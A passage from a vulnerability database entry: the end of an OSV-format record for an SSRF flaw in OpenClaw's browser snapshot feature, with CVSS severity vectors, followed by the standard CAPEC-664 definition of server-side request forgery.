"url": "https://www.vulncheck.com/advisories/openclaw-ssrf-via-browser-snapshot"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.